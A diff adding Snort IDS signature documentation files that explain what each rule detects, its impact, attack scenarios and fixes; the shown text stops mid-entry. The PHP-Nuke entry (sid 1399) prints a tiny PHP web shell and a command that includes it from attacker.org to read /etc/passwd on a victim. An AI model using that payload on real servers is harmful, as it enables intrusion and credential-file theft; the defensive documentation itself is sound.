--- snort-2.8.5.2.orig/doc/signatures/1991.txt
+++ snort-2.8.5.2/doc/signatures/1991.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1991
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/805.txt
+++ snort-2.8.5.2/doc/signatures/805.txt
@@ -0,0 +1,80 @@
+Rule:
+
+--
+Sid:
+805
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in the WebSpeed WSIS Messenger 
+Administration Utility. 
+
+--
+Impact:
+Information gathering and system integrity. Unauthorized administrative 
+access to the to the WebSpeed configuration utility can allow an 
+attacker to view and change WebSpeed configuration, and possibly stop 
+WebSpeed services.
+
+--
+Detailed Information:
+The WSIS Messenger Administration Utility is a web-based administration 
+utility provided with the Progress WebSpeed 3.0 development environment 
+and transaction server. It allows WebSpeed administrators to remotely 
+manage the WebSpeed system. The configuration utility has a 
+vulnerability that allows unauthenticated users to configure services 
+when the WSMAdmin function is invoked using wsisa.dll.
+
+--
+Affected Systems:
+Any system running Progress WebSpeed 3.0 WSIS Messenger Administration 
+Utility.
+
+--
+Attack Scenarios:
+An attacker can access the WSIS Messenger Administration Utility, which 
+can then be used to view and change WebSpeed configuration. The attacker
+can potentially stop WebSpeed services. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses the web-based administration 
+utility, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the WSIS Messenger Administration Utility.
+
+Install the appropriate patch. Patches can be found at
+http://www.progress.com/patches/patchlst/availpatche.html.
+
+Disallow access to the WSIS Messenger Administration Utilility from 
+sources external to the protected network.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/969
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0127
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1234.txt
+++ snort-2.8.5.2/doc/signatures/1234.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1234
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000763.txt
+++ snort-2.8.5.2/doc/signatures/100000763.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000763
+--
+Summary:
+This event is generated when an attempt is made to access the file "config.inc which contains known vulnerabilities in the "Kamikaze-QSCM" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a file with known vulnerabilities from a remote machine used by the "Kamikaze-QSCM" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Kamikaze-QSCM
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1149.txt
+++ snort-2.8.5.2/doc/signatures/1149.txt
@@ -0,0 +1,68 @@
+Rule:  
+
+--
+Sid:
+1149
+
+--
+Summary:
+This event is generated when an attempt is made to access Wwwcount 
+(count.cgi), a very popular CGI program used to track website usage.
+
+--
+Impact:
+Will allow access as with the privileges of the user running the 
+process.
+
+--
+Detailed Information:
+In particular, it enumerates the number of hits on given webpages and 
+increments them on a 'counter'. In October of 1997 two remotely 
+exploitable problems were discovered with this program. The first 
+problem was somewhat innocuous in that it only allowed remote users to 
+view .GIF files they were not supposed to have access to. This may be 
+dangerous if the site contains sensitive data in .GIF files such as 
+demographic/financial data in charts etc.
+
+The second and most serious problem is a buffer overflow in QUERY_STRING
+enviroment variable handled by the program. In essence a remote user can
+send an overloy long query to the program and overflow a buffer in order
+to execute their own commands as whatever privilege level the program is
+running as.
+
+--
+Attack Scenarios:
+Simple HTTP GET request.
+
+--
+Ease of Attack:
+Simple. Exploit code available
+
+--
+False Positives:
+A none vulnerable version of the application will generate events as the
+rule only looks for access to count.cgi during a established connection.
+
+--
+False Negatives:
+
+--
+Corrective Action:
+If you are running version 2.3 of Wwwcount it is suggested you upgrade 
+immediately. In the meantime you may wish to consider removing the 
+execution bit on this program. Versions 2.4 and above of this software 
+are available at: 
+
+http://www.fccc.edu/users/muquit/Count.html 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Neal Timm <nealtimm@sbcglobal.net>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/374.txt
+++ snort-2.8.5.2/doc/signatures/374.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+374
+
+--
+
+Summary:
+This event is generated when an ICMP echo request is made from a MacIntosh host running IPNetMonitor.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a MacIntosh host running IPNetMonitor contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS157
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1268.txt
+++ snort-2.8.5.2/doc/signatures/1268.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1268
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) pcnfsd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port pcnfsd is using.  Attackers can also learn what versions of the pcnfsd protocol are accepted by pcnfsd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as pcnfsd run.  The pcnfsd RPC service handles printing and authentication over the network.  A vulnerability exists because of improper argument checking that allows execution of arbitrary commands with root privileges. 
+
+--
+Affected Systems:
+BSDI BSD/OS 2.1
+HP HP-UX 10.1, 10.10, 10.20, 11.0
+IBM AIX 3.2, 4.0, 4.1, 4.2
+SCO Open Server 5.0
+SCO Unixware 2.0, 2.0.3, 2.1
+SGI IRIX 6.5, 6.5.1 - 6.5.16 
+Sun Solaris 2.4, 2.5
+Sun SunOS 4.1, 4.1.1 - 4.1.4
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where pcnfsd runs.  This may be a precursor to accessing pcnfsd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access pcnfsd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for pcnfsd, not probes of the pcnfsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the pcnfsd service itself. An attacker may attempt to go directly to the pcnfsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/5378
+
+CERT
+http://www.cert.org/advisories/CA-1996-08.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS22
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2963.txt
+++ snort-2.8.5.2/doc/signatures/2963.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2963
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1399.txt
+++ snort-2.8.5.2/doc/signatures/1399.txt
@@ -0,0 +1,81 @@
+Rule: 
+
+--
+Sid:
+1399
+
+--
+Summary:
+This event is generated when an attempt is made to include a remote file
+as part of PHP-Nuke index.php.
+
+--
+Impact:
+Possible information disclosure, or command execution at the priviledge level of
+the user running the webserver.
+
+--
+Detailed Information:
+The index.php included with PHP-nuke allows inclusion of additional files.
+Normal usage might be situations where a webmaster wants to include
+additional code in their index.php.  This can be done via
+"index.php?file=<path_to_file>".  PHP-nuke also allows inclusion of
+files from remote sources specified by either ftp or http as the
+transport protocol.  This allows attackers to craft their own php file
+(say, foo.php) and store it remotely (say, http://mysite.org/foo.php)
+and then instruct the victim machine to include foo.php as part of it's
+source.  Any code in foo.php will get executed on the victim machine.
+
+
+--
+Affected Systems:
+	PHP Nuke 1.0 through 5.3.1
+ 
+--
+Attack Scenarios:
+In an attempt to gain access to a remote site that happens to use PHP-nuke,
+an attacker crafts the following foo.php, and places it on a website that
+he controls:
+	
+	<?php
+	system($cmd);
+	?> 
+
+The attacker can then include foo.php as part of a remote site's index.php
+that uses PHP-nuke, and execute any command:
+
+	lynx \
+	http://victim.com/index.php?file=http://attacker.org/foo.php?cmd=cat%20/etc/passwd
+	
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+
+--
+False Negatives:
+If the page being accessed is not named index.php, but has the same
+vulnerability as the original index.php, the rule will not generate an
+event.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1788.txt
+++ snort-2.8.5.2/doc/signatures/1788.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1788
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2295.txt
+++ snort-2.8.5.2/doc/signatures/2295.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2295
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1941.txt
+++ snort-2.8.5.2/doc/signatures/1941.txt
@@ -0,0 +1,184 @@
+Rule:
+
+--
+Sid:
+1941
+
+--
+Summary:
+This event is generated by an attempt to exploit a buffer overflow in TFTP file handling routines.
+
+--
+Impact:
+Implementation Dependent.  Several implementations of TFTP are vulnerable to a
+buffer overflow when processing long TFTP get requests.  This could allow
+arbitrary code execution or result in a Denial of Service condition.
+
+--
+Detailed Information:
+Insufficient bounds checking on requested filenames results in a simple to
+exploit buffer overflow condition.  This condition can be exploited by making
+a request for an overly long file name.
+
+Affected Systems:
+	Cisco IOS 11.1
+	Cisco IOS 11.2
+	Cisco IOS 11.3
+	ATFTP 0.6.0 and 0.6.1.1
+
+--
+Attack Scenarios:
+Attackers with access to TFTP can exploit this condition remotely by
+requesting an overly long file name.
+
+--
+Ease of Attack
+Depending on the configuration of the TFTP server this vulnerability can be exploited with a simple script.  Currently several exploits exist in the wild.
+
+--
+False Positives:
+Requests for legitimate file names of 100 or more bytes will trigger this rule. 
+
+--
+False Negatives
+Currently this rule checks for the existance of a file name of 100 or more bytes.  Vulnerable TFTP implemenations that experience faults with file names less than 100 bytes will not trigger this rule.
+
+--
+Corrective Action
+Cisco:
+For Cisco IOS 11.1, 11.2, 11.3 it is recommended that the TFTP service be disabled.  Cisco does not plan on releasing a patch for this problem.
+
+It may also be possible to mitigate this problem by creating an alias for all filenames being served via the TFTP service.  
+
+Example:
+tftp-server flash rsp-jv-mz.111-24a alias CiscoIOS 
+
+AFTP:
+    Debian Upgrade atftp_0.6.0woody1_alpha.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_alpha.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_alpha.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_alpha.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_arm.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_arm.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_arm.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_arm.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_i386.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_i386.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_i386.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_i386.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_ia64.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_ia64.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_ia64.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_ia64.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_hppa.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_hppa.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_hppa.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_hppa.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_m68k.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_m68k.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_m68k.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_m68k.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_mips.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_mips.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_mips.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_mips.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_mipsel.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_mipsel.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_mipsel.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_mipsel.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_powerpc.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_powerpc.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_powerpc.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_powerpc.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_s390.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_s390.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_s390.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_s390.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftp_0.6.0woody1_sparc.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftp_0.6.0woody1_sparc.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+    Debian Upgrade atftpd_0.6.0woody1_sparc.deb
+    http://security.debian.org/pool/updates/main/a/atftp/atftpd_0.6.0woody1_sparc.deb
+
+    Debian GNU/Linux 3.0 alias woody.
+
+--
+Contributors
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski matt.watchinski@sourcefire.com
+
+--
+Reference: 
+
+Bugtraq:
+http://www.securityfocus.com/bid/5328
+
+CVE:
+CAN-2002-0813
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2484.txt
+++ snort-2.8.5.2/doc/signatures/2484.txt
@@ -0,0 +1,57 @@
+Rule:
+--
+Sid:
+2484
+
+--
+Summary:
+This event is generated when a remote user attempts to access source.jsp
+on a Tomcat web server. This may indicate an attempt to exploit a
+directory traversal vulnerability.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a vulnerability in the
+source.jsp script. An attacker can use directory traversal techniques
+when accessing source.jsp to view hidden files and directories on the
+web server with the access privileges of the server. 
+
+--
+Affected Systems:
+	Apache Tomcat on Novell Netware 6.0
+
+--
+Attack Scenarios:
+An attacker can use directory traversal techniques when executing
+source.jsp to view directories and files on the web server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/514.txt
+++ snort-2.8.5.2/doc/signatures/514.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+514
+
+--
+Summary:
+This activity is a sign of a host that has been compromised by the ramen worm, which is attempting to retrieve the worm binaries from a remote system.
+
+--
+Impact:
+Severe; this host issued a request to a malicious web server to download the ramen worm binaries.  After the binaries are downloaded, the compromised host acts as a scanner and could be used to attack other hosts.
+
+--
+Detailed Information:
+This rule looks for GET requests to a compromised webserver running on TCP port 27374.  The compromised webserver serves up the ramen binaries required to continue the propagation of the malicious code.  After the host is compromised, a random number generator selects IP address ranges to scan for other vulnerable hosts.  The ramen worm is wide spread, and affects vulnerable Red Hat Linux 6.2 and 7.0 machines.  The worm exploited well-known vulnerabilities in LPRng, rpc.statd, and wu-ftpd.
+
+--
+Attack Scenarios:
+This is a worm; after it is released, it self-propagates.  Once a vulnerable machine is found, worm binaries are downloaded and the newly compromised machine becomes a scanning agent to further the worm's propagation.
+
+--
+Ease of Attack:
+Simple execution of worm code.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+If the worm code is changed to contact a port other than 27374 tcp, then this rule would not catch the activity.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Original rule writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Mike Poor <mike.poor@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS461
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/l-040.shtml
+
+SANS:
+http://www.sans.org/y2k/ramen.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1827.txt
+++ snort-2.8.5.2/doc/signatures/1827.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1827
+
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted, or a potential attacker is testing your site to determine if 
+it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site. Attackers can potentially gain access to your users' 
+cookies or session ids, allowing the attacker to impersonate your
+user. They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input (either via the URL or the 
+POST method) and then uses that input as part of the HTML of a new page 
+without filtering, the application is vulnerable to cross-site 
+scripting.  The traditional means of exploiting this is to embed a 
+"<SCRIPT>" tag into the input. The code following the tag is then 
+executed by the victim's browser.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable. 
+
+Finding vulnerabilities in other, including proprietary, web
+applications is fairly trivial and existing exploit code could easily be
+modified to take advantage of newly discovered vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the <SCRIPT> tag could generate this 
+event under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, contact 
+the authors or vendor and see if there is a patch or newer version.
+
+If the application is proprietary to you or your company, ensure that it 
+properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1962.txt
+++ snort-2.8.5.2/doc/signatures/1962.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1962
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rquotad is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rquotad is using.  Attackers can also learn what versions of the rquotad protocol are accepted by rquotad. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rquotad run.  The rquotad RPC service can be queried for user disk usage and the limits of a local file system which is mounted by a remote machine over the NFS.  A vulnerability associated with rquotad may permit the execution of arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rquotad runs.  This may be a precursor to accessing rquotad.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rquotad, this rule may trigger.
+
+--
+False Negatives:
